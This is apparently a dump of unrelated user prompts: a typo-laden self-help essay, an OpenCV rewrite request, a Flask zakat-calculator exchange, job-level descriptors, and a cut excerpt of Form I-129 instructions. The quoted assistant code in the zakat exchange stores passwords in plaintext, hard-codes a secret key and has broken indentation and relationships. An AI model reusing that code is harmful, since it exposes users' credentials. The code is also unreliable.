[letting the name of thr oup determine/morph into the content ] you train many voices/characters in your head , in this adversairal dance between those voicesi n your head[externlaized as whatsapp groups] yo uelarn more about oyurself, while epoxnentiating your attention along the way ,by looking from differnt dimenions at each concept, one thing you will notice is by going back to eahc grup, you will see each line you write having totally new meanings, because you have morphed all the groups in youe head now with a holistic strucure , so each word from thr past wil l have its wown strucure, own story, it’s a never inding iterations , stengetinh your muscles, liek the gym ,after eall ,why shoud lthe gym be differnet ? isn’t it all in our heads by the npend othe day? isn’t that how them ind works/ \n\nnow is the time, like newton, to figure out the caluclus, of the psyche.\n\nIn reading, you will find you only notice on cathing those form thw hatsapp gorups, it wil l hyperepoxnentiate yyour reading, it compiles, hyperexponentiate, make a group called [nietzche] fill it with nietzchhe dieas , morphed with you ,day by day mit comples al the groups ,your mind will compress, find a strucure, \n\nwhy this works? it should work without whatsapp grops, its just the our memories are wek, atten not trained, by this , you could pin point your vectors, in your latent sapce is is your brain ,each entry a node, each groupa a meta node , higher dimensionla vector, all shaping you\n\n[steve jobs had same number of days as ya, just more pureified ataset[ fine tuned attention heds , on class design], like wise all ceos , and writers , just h av better attention heads\n\neach entry has a tag [ emotion , for the corresponding map of emotion tied to the reard sstme[what di dthi sscnee make you feel]? , and a [dance] , whch is a relation to the previous s,or other group , to find ties\n\nthis cateroization retrieval, helps in pattenr prediciotn ,refoncgniotn, after ah whie l you will be able to fill the groups on yuor own without externam stimule ,you have trianed yoursle,f you acn be self prompting now, thisi s what writers do when they write a pilot for a show like a sitcom i nits tone and voice\n\nthis categorization and retrieval helps yo u now what oyu think ,what you feel and why ,to better deal with your emitons, and knwo what your ocores are[affter compresing groups over time ] ,\n\nthink abut it like this, the groups are yhe fishing rods of your contiosnesss ,thme ore you stregethen them the more fish you catch, the more you focus , you compress them after mastering, into [notj ust parallel, but morprhed fihsing rods][ helping you find beiiger strucure even in small things]\n\nwhy ego death [each char , dialogue you wirte is a voice inside you ,you just dont know it because we habe been consturcted to foucs on the ego, but by writing down , you see you’re more , you basically hack your ego.\n\nwith this method, you can control your habits, see why they are formed, each thing you say you like now, you get to see its routes later on , it’s a like a machine learnign model having a purified dataset to learn on , you are the model . you see that your life is in youe hand\n\nwith core groups related to art, writing : you also et mire immsersed in day to dat foncersaiotn, in the narrativel ine as you get more cues , pschhologica, dialogue ,emoitons ,that you practised yoyour muscles to attend to\n\nwith eahc groupp, the next becomes easier, this is due to trransfer learning, in whih the muscle of building muscles itself grows, youre fine tuning your backbone on another ohrups its faster everyinem, yo umster you tools ,you attentions ,your fishing rods\n\nanother visionary thing about this method is tht udring timeso f distress, sadness, you could just use tht energy, trasnfer it to entries in the whtasapp groups , intto scenes, or even a tv show, perhaps about the future, how would people cry in the future? by collecting indivuual elemts trained on from whatss groups, now you ould morh many to many, in each ,if you feel bad about a story in your head, you could now cut off from that and frame it, think where to categorize it ,workout your muscle,s while processing the meoions, but now you going meta , by asking where to categroize them.\n\nIT’S NOT A JOURNAL ,SO DONT WRITE TODAYI WENT OTO GET GROCWRIES, THEN ~ THAT’S WHY ITS BETTER TO NMENTON NO NAMES, THIS IS LIKE THE DIFFERNCE BETWEEN TRANSFORMERS AND TRAIDTIONAL NEURAL NETWORK, NOW USE ATTENTION VIA WHATSAPP GROUPS, FOCUS ON THE IMPROTANT PARTS YOU WANT TO INCPORPOTRATE INTO THE DATASET THAT IS YOUR MIND,PURIFY YOUR DATASET, RENARRATIVIZE YOUR MIND. ITSL IKE SELF ATTENTION AND ATTENTION MECHANISMS IN TRANSFORMERS , YOU DONT HAVE TO “TRADITIOANLLY LIKE IN YOUR JOURNALY, TYPE A CMOPLETE SEQUENCE OF EVEENTS THAT IS FILLED WITH IRRELVANT PARTS” BY CHOOSING THE IMPORTANT PARTS, FILTERING WHAT YOU FOUCSO N, YOU SAVE YOURSELF TIME, AND YOU DISCOVER THEU NITIE,S SYMMETRIES AMONG ALL, FOR EXAMPLE BY TYPING CHARACTER TRAITS, “HOW DOES HE EAT EGGS?” -THEN TYPING THE PROBABLE “WHY?” YOU ARE ALTER ABLE TO GERENALIZE WHEN YOU SE ETHIS BEHAVIOUR IN ANY OTHER EPSON, YOU LEARNT HE CAUSE ADN EFFECT , THE CALUCLUS OF LIFE\n\nfrom all these unities ,and symmetries you will discover ,you iwll be able to catch them, what are the y? the patterns, bigger and bigger in your mind they grow, they from stories you’re abl eto retreive much faster, you’re forming your own knowledge tree ,by getting granual, getting back to first principals, literally from what makes a “character, theme, story, emotion,singer,algroithm” by a whatsapp group for each ,filled overtime ,the trick here is you fill it with something of your synethithis, don’t copy. this process of morphing the idea to a group helps you notice the symmetries, mixging genresl iek fredie mercury, the great thing about this method is also cutomization, be experimental.\n\nby this method you get to know , not only what you think, but what you are, and not only that, but why you are ? why you think what you think ? you witness the meta complex adaptive process udnderlying the strucure of stories that make you\n\nbyt this method you will , not only know, but feel, that life is very much alive\n\n[scene : i could contorl m t dreams ,seE? the strucure of all mrophed onto them, , strucuresm orph , tis you after all, theym orph yto you ,character tics is the cahr tics of you , that yo usee in all, you renarrtivize you relationsships with youself, with others, you are in a constant state of fchangem and yo usee hatp rocess, visualzed, your mind ,disecte,d time , vroken,d spread , you ee the claculus of it all, all the node,s in e chan, that make you you\n\nMAGICAL THING ABOUT IT ? once you know yourself by it, youo can know all others by it [you might say, by wouldn’t i be too indulgent? to that i say, it’s all in your head anyway, this way you’re just aware of it , and this method if appled to understand people it works, countries/ it works , cuz they are just people, art? it works, Companies? it works ,think of retention of customers, [succssfull companeis are ones with stories, high meta nodes, with scenes supporting them [like a concet and examples]\n\nIn the end, we are just a story we tell outselves, so hell, let’s become the writers of our story, by talking it …literally. cuz..why not ? thi' -'Rewrite this code cleanly and to work as a function like the example given afterwards.\nCode to rewrite : \nimport os\nimport sys\nimport imutils\nimport numpy as np\nsys.path.append(os.getcwd() + "/../") #ce truc dégueulasse à été fait par Tim, je ne cautionne pas du tout\nimport main\nimport cv2\n#cali\\_1\nmtx = np.array([[1.19126136e+03, 0.00000000e+00, 9.59240007e+02], [0.00000000e+00, 1.11365936e+03, 5.27377810e+02], [0.00000000e+00, 0.00000000e+00, 1.00000000e+00]])\ndist = np.array([[ 0.11751622, -0.4181012, -0.0034592, 0.0087792, 0.33441168]])\n\n#cali\\_2\n#mtx = np.array([[1.19309855e+03, 0.00000000e+00, 7.84314808e+02], [0.00000000e+00, 1.11766414e+03, 5.62846555e+02], [0.00000000e+00, 0.00000000e+00, 1.00000000e+00]])\n#dist = np.array([[ 0.0091465, 0.15736172, -0.0010599, -0.00085758, -0.43462203]])\nwebcam = cv2.VideoCapture(\'trasnslation22s.video\')\n#webcam = cv2.VideoCapture(0, cv2.CAP\\_V4L)\n#img = webcam.read()\nimg = cv2.imread(\'1.jpeg\')\n\nh, w = img.shape[:2]\nwebcam.set(cv2.CAP\\_PROP\\_FRAME\\_WIDTH, w)\nwebcam.set(cv2.CAP\\_PROP\\_FRAME\\_HEIGHT, h)\nnewcameramtx, roi = cv2.getOptimalNewCameraMatrix(mtx, dist, (w,h), 1, (w,h))\nwhile True:\n check, frame = webcam.read()\n if check:\n \n # undistort\n dst = cv2.undistort(frame, mtx, dist, None, newcameramtx)\n # crop the image\n x, y, w, h = roi\n frame = dst[y:y+h, x:x+w]\n \n frame = imutils.rotate(frame, 180)\n main.function(frame)\n frame = cv2.resize(frame, (860, 540))\n cv2.imshow(\'video\', frame) \n \n key = cv2.waitKey(1)\n if key==27:\n break\n\nwebcam.release()\ncv2.destroyAllWindows()\n\nExample code :\nimport cv2\nfrom utils import toolkit\nimport numpy as np\nfrom pathlib import Path \nfrom imutils.video import WebcamVideoStream\nfrom imutils import rotate\nfrom rich import print as rprint\nfrom scipy.signal import savgol\\_filter\n\ndef coord\\_tag(dict,id1,id2,size1,size2,conn2=None,filter=False,src\\_=0):\n\n # Load the necessary side functions and matrix for calibration\n tool = toolkit()\n cam\\_mat = tool.mtx\n dist\\_coef = tool.dist\n y1 = 70\n\n # Loading the dictionnary\n marker\\_dict = cv2.aruco.Dictionary\\_get(tool.ARUCO\\_DICT[dict])\n\n # Savitzsky-Golay\'s filter parameters\n y\\_raw\\_value = []\n window\\_size = 11\n sample\\_size = 50\n polynomial\\_order = 2\n\n # Load the video stream\n vs = WebcamVideoStream(src=src\\_).start()\n\n # Create the parameters of the camera\n param\\_markers = cv2.aruco.DetectorParameters\\_create()\n\n # Displayed text parameters\n fontScale = 1.5\n precision = 3\n\n # Program loop \n while True:\n\n # Reading the frame\n frame = vs.read()\n\n # Rotating the image (not important)\n frame =rotate(frame,180)\n\n # Adding a grey filter onto the frame\n gray\\_frame = cv2.cvtColor(frame, cv2.COLOR\\_BGR2GRAY)\n\n # Detect the tags on the image\n corners, ids, \\_ = cv2.aruco.detectMarkers(\n gray\\_frame, \n marker\\_dict,\n parameters=param\\_markers\n )\n\n \n\n try:\n\n # To know which rvec to correspond to which id we make a dictionnary\n # Let\'s flatten the ids array\n ids\\_flat = [ ui[0] for ui in ids]\n\n # Make a dictionnary for ease of use \n ind\\_id = { id: i for (i,id) in enumerate(ids\\_flat) }\n\n # Create two separate lists for the markers with different ids and sizes\n corners1 = corners[ind\\_id[id1]]\n corners2 = corners[ind\\_id[id2]]\n \n \n # If the 2 tags specified have been detected then we enter the main program\n if ([id1] in ids) and ([id2] in ids):\n\n # Estimate the poses of the markers\n rvecs1, tvecs1, \\_ = cv2.aruco.estimatePoseSingleMarkers(\n corners1,\n size1, \n cam\\_mat,\n dist\\_coef)\n rvecs2, tvecs2, \\_ = cv2.aruco.estimatePoseSingleMarkers(\n corners2,\n size2, \n cam\\_mat,\n dist\\_coef)\n\n # Compute the homogeneous matrix \n # Normally noglitches can happen here but be careful if there are several \n # reference tags with the same id \n \n # Since there is only one tag per pose estimation we use index 0\n H = tool.Homogeneous(rvecs1[0],tvecs1[0])\n \n # Pass tvec2 as homogenous\n tv = np.array([\n tvecs2[0][0][0],\n tvecs2[0][0][1],\n tvecs2[0][0][2],\n 1])\n\n # Compute the tag 2 coordinates in tag 1 system of coordinates\n Tvec\\_id2\\_ref\\_id1 = np.dot(tv,H)\n Tvec\\_id2\\_ref\\_id1 = Tvec\\_id2\\_ref\\_id1[0:3]/Tvec\\_id2\\_ref\\_id1[3]\n \n # Draw pose of the tags : red = Ox | green = Oy | blue = Oz \n frame = cv2.aruco.drawDetectedMarkers(frame, corners, ids)\n frame = cv2.drawFrameAxes(frame, cam\\_mat, dist\\_coef, rvecs1, tvecs1, 0.1, 1)\n frame = cv2.drawFrameAxes(frame, cam\\_mat, dist\\_coef, rvecs2, tvecs2, 0.1, 1)\n\n # Extracting the bottom right coordinates of Tag 2 to plot text\n corners2 = corners2[0].reshape(4,2)\n corners2 = corners2.astype(int)\n bottom\\_right = corners2[2].ravel()\n\n # Display the newly computed coordinates of Tag 2 \n cv2.putText(\n frame,\n f"x:{round(Tvec\\_id2\\_ref\\_id1[0],precision)} y: {round(Tvec\\_id2\\_ref\\_id1[1],precision)} ",\n bottom\\_right,\n cv2.FONT\\_HERSHEY\\_PLAIN,\n fontScale,\n (255, 0, 255),\n 2,\n cv2.LINE\\_AA,\n )\n\n # Sometimes ids is None and we get a Type error because of len(ids) but osef\n except TypeError as v:\n pass\n except Exception as e:\n rprint("[bold red] {} [/bold red]".format(e))\n pass\n\n # Display the frame\n cv2.imshow("Table", frame) \n key = cv2.waitKey(1)\n \n # Close the frame is "q" is pressed\n if key == ord("q"):\n conn2.send(None)\n break\n\n # Finish the program cleanly\n cv2.destroyAllWindows()\n vs.stop()' -'my question:\n"how to create databases/tables for: a flask web app - salary zakat calculator. User can log in and log out. we will use \'income\' and \'expenses\'. User can input income at any time - I will also include a calendar for the user to input any transaction (debit/credit) that took place in the past that the user forgot to input. Naturally the income will come first and the expenses second, and the expenses will be subtracted (automatically, by my app - how to do this?) from the previous income (ie the last income), and if that is not suffieicent then the one before that, all the way until the first entered income. The main purpose of this web app is to calculate zakat. Zakat is calculated as 2.5% of any amount that has been in the possession of the user for more than 1 hijri year. How will this be calculated according to the new table? I would like to display a table to the user (in the web app) containing zakat amount due and the exact date and time, in both hijri and gregorian format, of when each amount became due, and also at the end of the table a number showing total zakat due. Once the user pays his zakat, he will click a button "paid" for that particular due (will also include a \'paid all\' button to indicate that he paid all his dues at once). This should then update the tables - subtracting the due from the exact instance of the amount for when it was due i.e if he paid zakat for income from march 2021, the database should subtract 2.5% from the income in march 2021 for which the zakat was due, and so on for every amount. Then, the remaining amount after deducting the zakat payment should be tracked for the next hijri year, and then served up to the user if the hijri year passes without it being exhausted. I would also like to give the user the option to view his entire data - income and expenses currently being tracked for zakat, already paid zakat, as well as the date and time when zakat for a specific amount will be due.\n\nwrite entire sqlalchemy code needed for this whole website - ie write the entire models.py file, and also write what needs to be added to the app.py file, with examples of how to modify the database in all the ways that is required for the stated goals."\n\nyour response:\n"Sure, I can help you write the SQLAlchemy code for this web app. Here is the code for models.py:\n\npython\nCopy code\nfrom sqlalchemy import Column, Integer, String, Float, DateTime, ForeignKey, create\\_engine, text\nfrom sqlalchemy.orm import relationship, backref, sessionmaker\nfrom sqlalchemy.ext.declarative import declarative\\_base\nfrom datetime import datetime\n\nBase = declarative\\_base()\n\nclass User(Base):\n \\_\\_tablename\\_\\_ = \'users\'\n id = Column(Integer, primary\\_key=True)\n username = Column(String(50), nullable=False, unique=True)\n password = Column(String(50), nullable=False)\n incomes = relationship("Income", back\\_populates="user")\n expenses = relationship("Expense", back\\_populates="user")\n zakat\\_payments = relationship("ZakatPayment", back\\_populates="user")\n\nclass Income(Base):\n \\_\\_tablename\\_\\_ = \'incomes\'\n id = Column(Integer, primary\\_key=True)\n amount = Column(Float, nullable=False)\n date = Column(DateTime, nullable=False, default=datetime.utcnow)\n user\\_id = Column(Integer, ForeignKey(\'users.id\'))\n user = relationship("User", back\\_populates="incomes")\n expenses = relationship("Expense", back\\_populates="income")\n\nclass Expense(Base):\n \\_\\_tablename\\_\\_ = \'expenses\'\n id = Column(Integer, primary\\_key=True)\n amount = Column(Float, nullable=False)\n date = Column(DateTime, nullable=False, default=datetime.utcnow)\n user\\_id = Column(Integer, ForeignKey(\'users.id\'))\n user = relationship("User", back\\_populates="expenses")\n income\\_id = Column(Integer, ForeignKey(\'incomes.id\'))\n income = relationship("Income", back\\_populates="expenses")\n\nclass ZakatPayment(Base):\n \\_\\_tablename\\_\\_ = \'zakat\\_payments\'\n id = Column(Integer, primary\\_key=True)\n amount = Column(Float, nullable=False)\n date\\_paid = Column(DateTime, nullable=False, default=datetime.utcnow)\n income\\_id = Column(Integer, ForeignKey(\'incomes.id\'))\n income = relationship("Income", back\\_populates="zakat\\_payments")\n user\\_id = Column(Integer, ForeignKey(\'users.id\'))\n user = relationship("User", back\\_populates="zakat\\_payments")\nIn this code, we define four tables: users, incomes, expenses, and zakat\\_payments. Each table corresponds to a specific model in the web app. The User model represents a user of the app, while the Income and Expense models represent income and expenses, respectively. The ZakatPayment model represents a zakat payment made by a user for a specific income record.\n\nWe also define relationships between the tables using foreign keys and the relationship() function provided by SQLAlchemy. For example, the User model has a one-to-many relationship with both the Income and Expense models, and a one-to-many relationship with the ZakatPayment model. Similarly, the Income model has a one-to-many relationship with the Expense model and a one-to-many relationship with the ZakatPayment model.\n\nHere is an example of how you can use the code in app.py to add and retrieve records from the database:\n\npython\nCopy code\nfrom flask import Flask, request, jsonify\nfrom models import User, Income, Expense, ZakatPayment, Base\nfrom sqlalchemy import create\\_engine\nfrom sqlalchemy.orm import sessionmaker\nfrom datetime import datetime, timedelta\nimport hijri\\_converter\n\napp = Flask(\\_\\_name\\_\\_)\n\nengine = create\\_engine(\'sqlite:///zakat.db\', echo=True)\nBase.metadata.create\\_all(engine)\nSession = sessionmaker(bind=engine)\nsession = Session()\n\n@app.route(\'/"\n\nyou stopped in the middle. Complete your response from the line you stopped, don\'t start all over again.\n\n"Continuing from the previous response, here\'s the rest of the SQLAlchemy code for the web app:\n\npython\nCopy code\nengine = create\\_engine(\'sqlite:///salary\\_zakat\\_calculator.db\', echo=True)\nBase.metadata.create\\_all(engine)\nSession = sessionmaker(bind=engine)\n\napp = Flask(name)\napp.secret\\_key = \'supersecretkey\'\n\n@app.route(\'/signup\', methods=[\'POST\'])\ndef signup():\nusername = request.json[\'username\']\npassword = request.json[\'password\']\nsession = Session()\nuser = User(username=username, password=password)\nsession.add(user)\nsession.commit()\nsession.close()\nreturn jsonify({\'message\': \'User created successfully.\'}), 201\n\n@app.route(\'/login\', methods=[\'POST\'])\ndef login():\nusername = request.json[\'username\']\npassword = request.json[\'password\']\nsession = Session()\nuser = session.query(User).filter\\_by(username=username, password=password).first()\nif user:\nreturn jsonify({\'message\': \'Login successful.\'}), 200\nelse:\nreturn jsonify({\'message\': \'Invalid username or password.\'}), 401\nsession.close()\n\n@app.route(\'/incomes\', methods=[\'POST\'])\ndef add\\_income():\namount = request.json[\'amount\']\nuser\\_id = request.json[\'user\\_id\']\nsession = Session()\nuser = session.query(User).get(user\\_id)\nincome = Income(amount=amount, user=user)\nsession.add(income)\nsession.commit()\nsession.close()\nreturn jsonify({\'message\': \'Income added successfully.\'}), 201\n\n@app.route(\'/expenses\', methods=[\'POST\'])\ndef add\\_expense():\namount = request.json[\'amount\']\nuser\\_id = request.json[\'user\\_id\']\nincome\\_id = request.json[\'income\\_id\']\nsession = Session()\nuser = session.query(User).get(user\\_id)\nincome = session.query(Income).get(income\\_id)\nexpense = Expense(amount=amount, user=user, income=income)\nsession.add(expense)\nsession.commit()\nsession.close()\nreturn jsonify({\'message\': \'Expense added successfully.\'}), 201\n\n@app.route(\'/zakat\\_payments\', methods=[\'POST\'])\ndef add\\_zakat\\_payment():\namount = request.json[\'amount\']\nuser\\_id = request.json[\'user\\_id\']\nincome\\_id = request.json[\'income\\_id\']\nsession = Session()\nuser = session.query(User).get(user\\_id)\nincome = session.query(Income).get(income\\_id)\nzakat\\_payment = ZakatPayment(amount=amount, user=user, income=income)\nsession.add(zakat\\_payment)\nsession.commit()\nsession.close()\nreturn jsonify({\'message\': \'Zakat payment added successfully.\'}), 201\n\n@app.route(\'/zakat\\_due\', methods=[\'GET\'])\ndef get\\_zakat\\_due():\nuser\\_id = request.args.get(\'user\\_id\')\nsession = Session()\nuser = session.query(User).get(user\\_id)\nzakat\\_due = 0\nzakat\\_due\\_dates = []\nfor income in user.incomes:\nzakat = income.amount \\* 0.025\nfor zakat\\_payment in income.zakat\\_payments:\nzakat -= zakat\\_payment.amount\nif zakat > 0:\nzakat\\_due += zakat\nzakat\\_due\\_dates.append({\'income\\_date\': income.date, \'zakat\\_due\\_date\': income.date.replace(year=income.date.year+1)})\nsession.close()"\n\ncontinue.' -'We are in the process of designing software operation level descriptors. The level descriptor of a leveling system is a framework used to define and categorize roles, responsibilities, and career progression paths for employees, providing a structured approach to career growth, compensation, and performance evaluation. \n\nHere are the company level descriptors with 4 dimensions that apply to all functions.\n\nScope & Impact\nL1: "Responsible for tasks where the scope is fully defined that require following pre-established protocols for completion. Requires significant detailed direction and supervision to resolve most problems." \nL2: "Responsible for tasks of limited scope. Adheres to established practices and procedures for resolving problems. Receives close supervision and direction when approaching most problems." \nL3: "Responsible for tasks and projects of moderate scope that require synthesis of information including a plurality of factors and variables. Uses independent judgment and knowledge of existing procedures and practices to determine appropriate resolution for a given problem, including matters of significance. Beginning to approach novel problems; receives close supervision and direction on novel problems." \nL4: "Responsible for tasks and projects of variable scope where synthesis and analysis of information involves evaluation of identifiable components. Practices good judgment in selecting appropriate strategy for resolution of problem. Scope of work impacts a team. Consistently approaches novel problems. Receives supervision on novel problems and situations." \nL5: "Responsible for solving complex issues where analysis of situations or data requires an in-depth evaluation of variable factors. Exercises judgment in selecting methods, techniques and evaluation criteria for obtaining results. Scope of work impacts a team, and may impact their org. Approaches problems with little direct supervision; often proactively identifies new problem spaces and provides recommendations on solutions or new workstreams." \nL6: "Responsible for solving significant and unique problems where analysis of situations or data requires an evaluation of intangibles. Exercises independent judgment in methods, techniques and evaluation criteria for obtaining results. Scope of work primarily impacts their team and org, and may impact the company. Works independently on most problems, often identifies new problem spaces and strategies for solving for their team and org." \nL7: "Responsible for innovating the resolutions for their org\'s most complex and challenging trade or technical problems. Scope of work has identifiable impacts on the company. Requires almost no direct supervision in their domain. Provides significant insight and input to their manager and functional leaders regarding direction."\n\nKnowledge & Skills: \nL1: "Applies org policies and procedures to resolve routine issues. Developing in their ability to learn and use professional concepts." \nL2: "Applies org policies and procedures to resolve routine issues. Developing in their consistent use of professional concepts. Able to perform highly structured, entry-level work designed to develop broader and more in-depth knowledge and skill to perform higher-level assignments" \nL3: "Consistently applies org policies and procedures to resolve a diverse set of problems. Possesses essential professional expertise. Able to advise on and/or resolve moderately complex but well-precedented projects for which there are one or more readily apparent solutions." \nL4: "Possesses a full and deep understanding of their functional area. Applies knowledge consistently, with accuracy, to resolve a wide range of problems in novel and creative ways. Skilled in applying this knowledge to difficult and complex work assignments to the development of new methods and approaches to enhance existing processes." \nL5: "Possesses trade or technical experience and knowledge that is deep and wide-ranging. Applies expertise accurately and with creativity to innovate solutions. Able to provide significant and innovative recommendations for advancing programs and/or methods; identifies and proposes solutions to organizational challenges." L6: "Possesses expert trade or technical experience and knowledge that is deep and wide-ranging. Independently applies expertise accurately and with creativity to innovate solutions. Able to serve as an authoritative expert and consultant with broad organizational responsibility. " \nL7: "Serves as an expert within the company as well as in the field, more broadly. Explores and develops best-in-class professional concepts in identifying solutions for company-wide and industry objectives. Able to serve as an authoritative expert and consultant in a critical organizational field and/or in a large program with organizational responsibility and community impacts."\n\nStakeholder Interaction \nL1: "Essentially no collaboration with other stakeholders outside of receiving guidance, mentorship, and coaching from their direct supervisor." \nL2: "Limited formal collaboration with other stakeholders outside of receiving guidance, mentorship, and coaching from their direct supervisor." \nL3: "Works with stakeholders within their team and org. May work across teams or with peers in other orgs on cross-functional projects. Helps to produce content and deliverables to synthesize findings." \nL4: "Works with stakeholders within their team and org. May work across teams or with peers in other orgs on cross-functional projects. Produces significant content and deliverables to synthesize team findings."\nL5: "Consistently works independently with stakeholders within their team and across their org. May partner with peers from other orgs on cross-functional projects. Reports on progress against key deliverables to other managers within their team and sometimes their org." \nL6: "Consistently works closely with stakeholders within their team and their org. Often partners with peers from other orgs on cross-functional projects. Reports on progress against key deliverables to other managers and leaders within their org and sometimes the company." \nL7: "Independently identifies and works closely with stakeholders on their team, in their org, and throughout the company, always serving as the SME in their domain. Shares key learnings, findings, and concepts with senior leaders throughout the company."\n\nLeadership\nL1: "Possesses some understanding of their own trade/technical and interpersonal skills. Works to achieve the confidence of others by following company and team culture and values." \nL2: "Possesses a developing understanding and awareness of their own trade/technical and interpersonal skills. Works to achieve the confidence of others by adapting to company and team culture and values." \nL3: "Strong understanding and awareness of their own trade/technical and interpersonal skills. Eager to achieve the confidence of others by adapting to company and team culture and values. Reliably contributes to an environment of productivity and engagement." \nL4: "Able to help develop trade/technical skills of more junior team members. Inspires confidence by displaying behaviors that lead to productive working relationships. Frequently embodies team culture, lives team norms, and contributes to an environment of engagement and productivity." \nL5: "Able to mentor and develop trade/technical skills in more junior team members. Inspires confidence by displaying behaviors that lead to productive working relationships. Frequently embodies team culture, lives team norms, and contributes to an environment of engagement and productivity." \nL6: "Skilled at mentoring and developing other team members. Builds trust by displaying aptitudes that lead to healthy working relationships and teams. Frequently embodies team culture, lives team norms, and helps to maintain an environment of high engagement and productivity." \nL7: "Expert at mentoring and developing other team members, of varying seniority. Builds trust by displaying aptitudes that lead to healthy teams. Embodies team culture, lives team norms, and helps to maintain an environment of high engagement and productivity."\n\nFor software operation level descriptors, we are adding two additional dimensions on top of company level descriptors, and here is a draft for L3 to L6. \n\nProblem Solving\nL3: "With limited guidance, completes work for an operational pipeline, ensuring the end product meets well defined requirements. Provides effective training/feedback around operational guidelines and tooling to optimize workflows. Applies critical thinking to assist with decision making strategies and QA methodologies." L4: "Takes ownership and efficiently improves operational guidelines and practices used to achieve the team’s deliverables. Creatively provides solutions to problems outside of defined workflows, takes inputs from stakeholders and management effectively. Works with stakeholders to maintain and scale optimization of team\'s operational workflows, driving significant value to the overall objectives." \nL5: "Proactively improves various operational pipelines throughout the department by taking responsibility for the design, deployment, and maintenance of workstreams. Leverages strong knowledge of operational pipelines to provide inputs to upstream data providers, downstream stakeholders/consumers, support tooling teams, and cross team collaborators to enable them to be more effective." \nL6: "Expert in identification of key issues and finding resolutions for complex business problems. Responsible for special strategic efforts; determines an optimal path where there is little to no precedent, processes or data. Track record of developing the team/pipeline through mentorship/documentation; translates efforts into wider processes for the org and/or company to run productively."\n\nProject Management & Execution\nL3: "Follows guidelines well and achieves planned goals at required quality gate(s). Clearly communicates to peers, leads, and/or SWEs on critical topics and provides guidance related to assigned project(s)." \nL4: "Consistently produces or delivers high quality output for operational task(s). Builds trust with internal and/or external cross team stakeholders to drive initiatives that support project stability. Works alongside SWEs on tooling improvements with accurate characterization of requirements and their impact." \nL5: "Collaborates with project managers and department leads on best operational techniques and methodology; cognizant of resource/budget allocation. Works with external partners to design and implement reliable, scalable, and data driven process improvements for the team and overall department" \nL6: "Oversees E2E components of an operation, including roadmap design, resource/budget management, and timely execution according to business needs. Takes the lead in making informed and strategic decisions through industry-related product, business, and process acumen"\nThe feedbacks for the above are\n- Wording can be more professional, consistent with the company level descriptor and with less subjectivity.\n- Level descriptor has progression and continuity from lower level to higher level\n- The idea of external partners is introduced at L5 in project management and execution\n- Would prefer to see some more clear language around L6 being company level impact and L5 being org level impact and how that would be seen. \n- Remove unnecessary adjectives, for example, "Follows guidelines well" => "Follows guidelines"\nPlease refine the draft based on the feedback above. Output the response in a table format.' -'Evidence for a New Office\nIn addition to the evidence required under the General L Classification Requirements section above, if the beneficiary\nis coming to the United States to open or to be employed in a new office in the United States, the petitioner must submit\nevidence to show the following:\nFor managerial or executive capacity (L-1A):\n1. Sufficient physical premises to house the new office have been secured;\n2. The beneficiary has been employed for 1 continuous year in the 3-year period preceding the filing of the petition in an\nexecutive or managerial capacity and that the proposed employment involves executive or managerial authority over\nthe new operation; and\n3. The intended U.S. operation, within 1 year of approval, will support an executive or managerial position. This\nstatement should be supported by information regarding:\nA. The proposed nature of the office describing the scope of the entity, its organizational structure, and its financial\ngoals;\nB. The size of the United States investment and the foreign entity’s financial ability to remunerate the beneficiary and\nto commence doing business in the United States; and\nC. The organizational structure of the foreign entity.\nFor specialized knowledge capacity (L-1B):\n1. Sufficient physical premises to house the new office have been secured; and\n2. The petitioner has the financial ability to remunerate the beneficiary and to commence doing business in the\nUnited States.\nNOTE: There are additional fees associated with certain L-1A and L1B petitions. Please see the “What is the Filing\nFee” section of these forms instructions for further information about these fees.\nO-1A Nonimmigrants\nThe O-1A classification is for aliens coming to the United States temporarily who have extraordinary ability in\nthe sciences, education, business, or athletics (not including the arts, motion picture, or television industry). The\nextraordinary ability must be demonstrated by sustained national or international acclaim.\nWrite O-1A in the classification block.\nThe petition must be filed with:\n1. A written consultation from a peer group or labor and/or management organization with expertise in the field (which\ncould include a person or persons with expertise in the field (see General Evidence);\n2. A copy of any written contract between the employer and the beneficiary or a summary of the terms of the oral\nagreement under which the beneficiary will be employed;\n3. An explanation of the nature of the events or activities, the beginning and ending dates for the events or activities, and\na copy of any itinerary for the events and activities; and\nForm I-129 Instructions 11/02/22 Page 18 of 30\n4. Evidence of the beneficiary’s extraordinary ability, such as receipt of major nationally or internationally recognized\nawards or prizes for excellence in the field, documentation of the beneficiary’s membership in associations in the\nfield which require outstanding achievements of their members, published material relating to the beneficiary’s work,\nevidence of the beneficiary’s original scholarly work or, contributions of major significance to the field, evidence of\nthe beneficiary’s high salary within the field, evidence that the beneficiary participated individually on a panel that\njudges the work of others in the field, or evidence of the beneficiary’s prior employment in a critical or essential\ncapacity for organizations and establishments that have a distinguished reputation.\nNOTE: If the preceding forms of evidence do not readily apply to the beneficiary’s field of endeavor, you may submit\nother comparable evidence.\nO-1B Nonimmigrants\nThe O-1B classification is for aliens coming to the United States temporarily who have extraordinary ability in the\narts or extraordinary achievement in the motion picture or television industry.\nWrite O-1B in the classification block.\nThe petition must be filed with:\n1. A written consultation from a peer group (which could be a person with expertise in the beneficiary’s field), a labor,\nand/or a management organization (see General Evidence). If the petition is based on the beneficiary’s extraordinary\nachievement in the motion picture or television industry, separate consultations are required from the relevant labor\nand management organizations;\n2. A copy of any written contract between the employer and the beneficiary or a summary of the terms of the oral\nagreement under which the beneficiary will be employed;\n3. Evidence that the beneficiary has received or been nominated for significant national or international awards or\nprizes in the field, such as an Academy Award, Emmy, Grammy, or Director’s Guild Award, or at least three of the\nfollowing:\nA. Evidence that the beneficiary has performed and will perform as a lead or starring participant in productions or\nevents that have a distinguished reputation as evidenced by critical reviews, advertisements, publicity releases,\npublications contracts, or endorsements;\nB. Evidence that the beneficiary has achieved national or international recognition for achievements in the field as\nevidenced by critical reviews or other published materials by or about the individual in major newspapers, trade\njournals, magazines, or other publications;\nC. Evidence that the beneficiary has a record of major commercial or critically acclaimed successes, as evidenced\nby title, rating, standing in the field, box office receipts, and other occupational achievements reported in\npublications;\nD. Evidence that the beneficiary has received significant recognition from organizations, critics, government\nagencies, or other recognized experts;\nE. Evidence that the beneficiary commands or will command a high salary or other remuneration for services in\nrelation to others in the field; or\nF. Evidence that the beneficiary has performed and will perform in a lead or starring role for organizations that have\na distinguished reputation.\nNOTE: If you are applying for O-1B in the Arts and the preceding forms of evidence do not readily apply to the\nbeneficiary’s field of endeavor, you may submit other comparable evidence.\nO-2 Nonimmigrants\nThe O-2 classification is for aliens coming to the United States temporarily and solely to assist in the performance\nof an O-1 artist or athlete because he or she performs support services that are integral to the successful\nperformance of the O-1. No test of the U.S. labor market 